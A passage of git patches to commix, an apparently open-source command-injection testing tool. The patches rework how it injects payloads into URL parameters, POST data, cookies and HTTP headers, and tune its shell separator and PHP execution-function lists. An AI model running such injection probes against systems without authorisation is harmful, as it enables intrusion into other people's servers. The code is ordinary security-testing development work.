@@ -313,7 +313,9 @@ def do_POST_check(parameter, http_request_method):
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
+ all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
parameter = parameter.replace(settings.RANDOM_TAG,"")
if type(parameter) != list:
@@ -461,7 +463,8 @@ def do_cookie_check(cookie):
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
cookie = settings.COOKIE_DELIMITER.join(all_params)
if type(cookie) != list:
cookies_list.append(cookie)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 597aec930c..68283cd16e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "19"
+REVISION = "20"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -408,7 +408,7 @@ def sys_argv_errors():
SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2
# Bad combination of prefix and separator
-JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"]
+JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", ";;" , "%7C;", "%26;", "%7C&"]
# Execution functions
EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"]
From e268b6bcde6628faa6a6567301afc5cbe1e8c6e3 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 2 Apr 2022 08:58:59 +0300
Subject: [PATCH 097/560] Minor update regarding heuristic tests
---
src/core/injections/controller/controller.py | 275 +++++++++----------
src/utils/settings.py | 2 +-
2 files changed, 134 insertions(+), 143 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index ef5fae6c6e..2ca47a8370 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -69,63 +69,54 @@ def check_for_stored_levels(url, http_request_method):
Basic heuristic checks for command injection
"""
def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
- if menu.options.skip_heuristics:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping (basic) heuristic detection."
- print(settings.print_debug_msg(debug_msg))
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ header_name = " " + str(http_request_method)
+ settings.CLASSIC_STATE = True
+ try:
+ if not settings.IDENTIFIED_COMMAND_INJECTION:
+ _ = 0
+ for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
+ _ = _ + 1
+ if not inject_http_headers:
+ payload = _urllib.parse.quote(payload)
+ payload = parameters.prefixes(payload, prefix="")
+ payload = parameters.suffixes(payload, suffix="")
+ payload = checks.perform_payload_modification(payload)
+ if settings.VERBOSITY_LEVEL >= 1:
+ print(settings.print_payload(payload))
+ data = None
+ cookie = None
+ tmp_url = url
+ if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
+ cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
+ data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ else:
+ if settings.INJECT_TAG in url:
+ tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
+ request = _urllib.request.Request(tmp_url, data)
+ if cookie:
+ request.add_header(settings.COOKIE, cookie)
+ if inject_http_headers:
+ request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
+ headers.do_check(request)
+ response = requests.get_request_response(request)
+
+ if type(response) is not bool:
+ html_data = checks.page_encoding(response, action="decode")
+ match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
+ if match:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
+ print(settings.print_bold_info_msg(info_msg))
+ break
+
+ settings.CLASSIC_STATE = False
return url
- else:
- if not header_name == " cookie" and not the_type == " HTTP header":
- header_name = " " + str(http_request_method)
- settings.CLASSIC_STATE = True
- try:
- if not settings.IDENTIFIED_COMMAND_INJECTION:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Starting (basic) heuristic detection."
- print(settings.print_debug_msg(debug_msg))
- _ = 0
- for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
- _ = _ + 1
- if not inject_http_headers:
- payload = _urllib.parse.quote(payload)
- payload = parameters.prefixes(payload, prefix="")
- payload = parameters.suffixes(payload, suffix="")
- payload = checks.perform_payload_modification(payload)
- if settings.VERBOSITY_LEVEL >= 1:
- print(settings.print_payload(payload))
- data = None
- cookie = None
- tmp_url = url
- if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
- cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
- elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
- data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
- else:
- if settings.INJECT_TAG in url:
- tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
- request = _urllib.request.Request(tmp_url, data)
- if cookie:
- request.add_header(settings.COOKIE, cookie)
- if inject_http_headers:
- request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
- headers.do_check(request)
- response = requests.get_request_response(request)
-
- if type(response) is not bool:
- html_data = checks.page_encoding(response, action="decode")
- match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
- if match:
- settings.IDENTIFIED_COMMAND_INJECTION = True
- info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
- print(settings.print_bold_info_msg(info_msg))
- break
-
- settings.CLASSIC_STATE = False
- return url
- except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
"""
Basic heuristic checks for code injection warnings
@@ -135,69 +126,60 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(" ")[0] + ") " + technique + ""
- if menu.options.skip_heuristics:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping (basic) heuristic detection for " + technique + "."
- print(settings.print_debug_msg(debug_msg))
- return url
- else:
- settings.EVAL_BASED_STATE = True
+ settings.EVAL_BASED_STATE = True
+ try:
try:
- try:
- if re.findall(r"=(.*)&", url):
- url = url.replace("/&", "/e&")
- elif re.findall(r"=(.*)&", menu.options.data):
- menu.options.data = menu.options.data.replace("/&", "/e&")
- except TypeError as err_msg:
- pass
- if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Starting (basic) heuristic detection for " + technique + "."
- print(settings.print_debug_msg(debug_msg))
- for payload in settings.PHPINFO_CHECK_PAYLOADS:
- payload = checks.perform_payload_modification(payload)
- if settings.VERBOSITY_LEVEL >= 1:
- print(settings.print_payload(payload))
- data = None
- cookie = None
- tmp_url = url
- if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
- cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
- elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
- data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ if re.findall(r"=(.*)&", url):
+ url = url.replace("/&", "/e&")
+ elif re.findall(r"=(.*)&", menu.options.data):
+ menu.options.data = menu.options.data.replace("/&", "/e&")
+ except TypeError as err_msg:
+ pass
+ if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ for payload in settings.PHPINFO_CHECK_PAYLOADS:
+ payload = checks.perform_payload_modification(payload)
+ if settings.VERBOSITY_LEVEL >= 1:
+ print(settings.print_payload(payload))
+ data = None
+ cookie = None
+ tmp_url = url
+ if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
+ cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
+ data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ else:
+ if settings.INJECT_TAG in url:
+ tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
+ request = _urllib.request.Request(tmp_url, data)
+ if cookie:
+ request.add_header(settings.COOKIE, cookie)
+ if inject_http_headers:
+ request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
+ headers.do_check(request)
+ response = requests.get_request_response(request)
+
+ if type(response) is not bool:
+ html_data = checks.page_encoding(response, action="decode")
+ match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
+ if match:
+ technique = technique + " (possible PHP version: '" + match.group(1) + "')"
+ settings.IDENTIFIED_PHPINFO = True
else:
- if settings.INJECT_TAG in url:
- tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
- request = _urllib.request.Request(tmp_url, data)
- if cookie:
- request.add_header(settings.COOKIE, cookie)
- if inject_http_headers:
- request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
- headers.do_check(request)
- response = requests.get_request_response(request)
-
- if type(response) is not bool:
- html_data = checks.page_encoding(response, action="decode")
- match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
- if match:
- technique = technique + " (possible PHP version: '" + match.group(1) + "')"
- settings.IDENTIFIED_PHPINFO = True
- else:
- for warning in settings.CODE_INJECTION_WARNINGS:
- if warning in html_data:
- settings.IDENTIFIED_WARNINGS = True
- break
- if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "."
- print(settings.print_bold_info_msg(info_msg))
- break
+ for warning in settings.CODE_INJECTION_WARNINGS:
+ if warning in html_data:
+ settings.IDENTIFIED_WARNINGS = True
+ break
+ if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
+ info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "."
+ print(settings.print_bold_info_msg(info_msg))
+ break
- settings.EVAL_BASED_STATE = False
- return url
+ settings.EVAL_BASED_STATE = False
+ return url
- except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
# Check if it's exploitable via classic command injection technique.
def classic_command_injection_technique(url, timesec, filename, http_request_method):
@@ -352,35 +334,44 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
timesec, url_time_response = requests.estimate_response_time(url, timesec)
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
- url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if not settings.LOAD_SESSION:
- if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
- # Check for identified warnings
- url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
- if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- while True:
- if not menu.options.batch:
- question_msg = "Skipping of further command injection tests is recommended. "
- question_msg += "Do you agree? [Y/n] > "
- procced_option = _input(settings.print_question_msg(question_msg))
- else:
- procced_option = ""
- if procced_option in settings.CHOICE_YES or len(procced_option) == 0:
- settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
- settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
- break
- elif procced_option in settings.CHOICE_NO:
- break
- elif procced_option in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable."
- print(settings.print_bold_warning_msg(warn_msg))
+ if menu.options.skip_heuristics:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping (basic) heuristic detection."
+ print(settings.print_debug_msg(debug_msg))
+ else:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Starting (basic) heuristic detection."
+ print(settings.print_debug_msg(debug_msg))
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+ if not settings.LOAD_SESSION:
+ if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
+ # Check for identified warnings
+ url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+ if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
+ while True:
+ if not menu.options.batch:
+ question_msg = "Skipping of further command injection tests is recommended. "
+ question_msg += "Do you agree? [Y/n] > "
+ procced_option = _input(settings.print_question_msg(question_msg))
+ else:
+ procced_option = ""
+ if procced_option in settings.CHOICE_YES or len(procced_option) == 0:
+ settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
+ settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
+ break
+ elif procced_option in settings.CHOICE_NO:
+ break
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + procced_option + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable."
+ print(settings.print_bold_warning_msg(warn_msg))
info_msg = "Setting the"
if not header_name == " cookie" and not the_type == " HTTP header":
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 68283cd16e..8cfb673407 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "20"
+REVISION = "21"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From e319624e0bdb0943d64cceb5c503fbb140702756 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 3 Apr 2022 09:54:28 +0300
Subject: [PATCH 098/560] Update regarding commit:
https://github.com/commixproject/commix/commit/e268b6bcde6628faa6a6567301afc5cbe1e8c6e3
---
src/core/injections/controller/controller.py | 25 +++++++++++++-------
src/core/requests/parameters.py | 19 ++++++++-------
src/utils/logs.py | 1 +
src/utils/settings.py | 2 +-
4 files changed, 30 insertions(+), 17 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 2ca47a8370..3d4a9ca5d7 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -77,7 +77,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
_ = 0
for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
_ = _ + 1
- if not inject_http_headers:
+ if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
@@ -90,7 +90,10 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
- data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ if inject_http_headers:
+ data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC)
+ else:
+ data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
@@ -110,7 +113,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
print(settings.print_bold_info_msg(info_msg))
break
-
+
settings.CLASSIC_STATE = False
return url
@@ -429,7 +432,7 @@ def http_headers_injection(url, http_request_method, filename, timesec):
def user_agent_injection(url, http_request_method, filename, timesec):
user_agent = menu.options.agent
if not menu.options.shellshock:
- menu.options.agent = settings.INJECT_TAG
+ menu.options.agent = menu.options.agent + settings.INJECT_TAG
settings.USER_AGENT_INJECTION = True
if settings.USER_AGENT_INJECTION:
check_parameter = header_name = " User-Agent"
@@ -442,10 +445,12 @@ def user_agent_injection(url, http_request_method, filename, timesec):
def referer_injection(url, http_request_method, filename, timesec):
referer = menu.options.referer
if not menu.options.shellshock:
- menu.options.referer = settings.INJECT_TAG
+ if menu.options.referer is None:
+ menu.options.referer = ""
+ menu.options.referer = menu.options.referer + settings.INJECT_TAG
settings.REFERER_INJECTION = True
if settings.REFERER_INJECTION:
- check_parameter = header_name = " Referer"
+ check_parameter = header_name = " Referer"
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
@@ -453,15 +458,19 @@ def referer_injection(url, http_request_method, filename, timesec):
menu.options.agent = referer
def host_injection(url, http_request_method, filename, timesec):
+ host = menu.options.host
if not menu.options.shellshock:
- menu.options.host = settings.INJECT_TAG
+ if menu.options.host is None:
+ menu.options.host = ""
+ menu.options.host = menu.options.host + settings.INJECT_TAG
settings.HOST_INJECTION = True
if settings.HOST_INJECTION:
- check_parameter = header_name = " Host"
+ check_parameter = header_name = " Host"
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.HOST_INJECTION = False
+ menu.options.host = host
# User-Agent HTTP header injection
if menu.options.skip_parameter == None:
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 231d04b6c5..8b8974f36d 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -383,6 +383,13 @@ def vuln_POST_param(parameter, url):
Define the injection prefixes.
"""
def prefixes(payload, prefix):
+ if settings.USER_AGENT_INJECTION == True:
+ specify_user_agent_parameter(menu.options.agent)
+ elif settings.REFERER_INJECTION == True:
+ specify_referer_parameter(menu.options.referer)
+ elif settings.HOST_INJECTION == True:
+ specify_host_parameter(menu.options.host)
+
# Check if defined "--prefix" option.
if menu.options.prefix:
payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload
@@ -504,8 +511,7 @@ def specify_cookie_parameter(cookie):
The user-agent based injection.
"""
def specify_user_agent_parameter(user_agent):
- # Specify the vulnerable user-agent HTTP header
- # Nothing to specify here! :)
+ settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"")
return user_agent
@@ -513,8 +519,7 @@ def specify_user_agent_parameter(user_agent):
The referer based injection.
"""
def specify_referer_parameter(referer):
- # Specify the vulnerable referer HTTP header.
- # Nothing to specify here! :)
+ settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG,"")
return referer
@@ -522,8 +527,7 @@ def specify_referer_parameter(referer):
The host based injection.
"""
def specify_host_parameter(host):
- # Specify the vulnerable host HTTP header.
- # Nothing to specify here! :)
+ settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG,"")
return host
@@ -531,8 +535,7 @@ def specify_host_parameter(host):
The Custom http header based injection.
"""
def specify_custom_header_parameter(header_name):
- # Specify the vulnerable HTTP header name.
- # Nothing to specify here! :)
+ settings.TESTABLE_VALUE = header_name.replace(settings.INJECT_TAG,"")
return header_name
diff --git a/src/utils/logs.py b/src/utils/logs.py
index c9ea825ff8..0a3a7a88dd 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -67,6 +67,7 @@ def create_log_file(url, output_dir):
print(settings.print_critical_msg(error_msg))
raise SystemExit()
+
# Create cli history file if does not exist.
settings.CLI_HISTORY = output_dir + host + "/" + "cli_history"
if not os.path.exists(settings.CLI_HISTORY):
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8cfb673407..2097511f15 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "21"
+REVISION = "22"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 2eba7899b4cfb0403b9c1dd41000f129f00c9c5d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 4 Apr 2022 08:37:46 +0300
Subject: [PATCH 099/560] Minor fixes & updates
---
src/core/injections/controller/controller.py | 17 +++++++++--------
src/core/requests/requests.py | 4 ++--
src/utils/settings.py | 8 ++++----
3 files changed, 15 insertions(+), 14 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 3d4a9ca5d7..d0ddb941cc 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -66,7 +66,7 @@ def check_for_stored_levels(url, http_request_method):
"""
-Basic heuristic checks for command injection
+Heuristic (basic) tests for command injection
"""
def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
if not header_name == " cookie" and not the_type == " HTTP header":
@@ -110,7 +110,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
if match:
settings.IDENTIFIED_COMMAND_INJECTION = True
- info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
+ info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
print(settings.print_bold_info_msg(info_msg))
break
@@ -122,7 +122,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
raise SystemExit()
"""
-Basic heuristic checks for code injection warnings
+Heuristic (basic) tests for code injection warnings
"""
def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
injection_type = "results-based dynamic code evaluation"
@@ -173,7 +173,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "."
+ info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
@@ -335,16 +335,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# Estimating the response time (in seconds)
timesec, url_time_response = requests.estimate_response_time(url, timesec)
+
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
if menu.options.skip_heuristics:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping (basic) heuristic detection."
+ debug_msg = "Skipping heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
else:
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Starting (basic) heuristic detection."
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Performing heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if not settings.LOAD_SESSION:
@@ -373,7 +374,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
pass
if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable."
+ warn_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might not be injectable."
print(settings.print_bold_warning_msg(warn_msg))
info_msg = "Setting the"
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 0eb655d021..e1aff96b06 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -226,7 +226,7 @@ def estimate_response_time(url, timesec):
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
url_time_response = int(round(diff))
- warn_msg = "The estimated response time is " + str(url_time_response)
+ warn_msg = "Target's estimated response time is " + str(url_time_response)
warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause"
if url_time_response >= 3:
warn_msg += " serious"
@@ -234,7 +234,7 @@ def estimate_response_time(url, timesec):
if url_time_response >= 3:
warn_msg += " and/or possible corruptions over the extracted data"
warn_msg += "."
- print(settings.print_bold_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
if int(timesec) == int(url_time_response):
timesec = int(timesec) + int(url_time_response)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2097511f15..94e5bcf559 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "22"
+REVISION = "23"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -398,8 +398,8 @@ def sys_argv_errors():
# The command injection prefixes.
PREFIXES = []
PREFIXES_LVL1 = [""]
-PREFIXES_LVL2 = SEPARATORS_LVL1
-PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2
+PREFIXES_LVL2 = SEPARATORS_LVL1
+PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2
# The command injection suffixes.
SUFFIXES = []
@@ -408,7 +408,7 @@ def sys_argv_errors():
SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2
# Bad combination of prefix and separator
-JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", ";;" , "%7C;", "%26;", "%7C&"]
+JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))]
# Execution functions
EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"]
From 28fe222b52a425e5467f6612bd8c2292d36a1bf5 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 5 Apr 2022 07:32:59 +0300
Subject: [PATCH 100/560] Minor update regarding heuristic tests
---
src/core/injections/controller/controller.py | 38 +++++++++++++-------
